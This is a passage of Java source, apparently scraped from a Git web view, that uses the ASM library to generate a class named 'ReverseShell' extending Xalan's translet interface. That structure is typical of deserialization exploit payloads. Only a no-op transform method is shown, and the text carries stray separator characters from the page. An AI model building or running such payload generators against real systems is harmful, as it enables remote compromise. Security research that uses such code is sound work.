mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
|
||||||
mv.visitCode();
|
|
||||||
Label l0 = new Label();
|
|
||||||
mv.visitLabel(l0);
|
|
||||||
mv.visitLineNumber(32, l0);
|
|
||||||
mv.visitInsn(RETURN);
|
|
||||||
Label l1 = new Label();
|
|
||||||
mv.visitLabel(l1);
|
|
||||||
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
|
|
||||||
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
|
|
||||||
mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
|
|
||||||
mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
|
|
||||||
mv.visitMaxs(0, 4);
|
|
||||||
mv.visitEnd();
|
|
||||||
}
|
|
||||||
cw.visitEnd();
|
cw.visitEnd();
|
||||||
bytes = cw.toByteArray();
|
bytes = cw.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user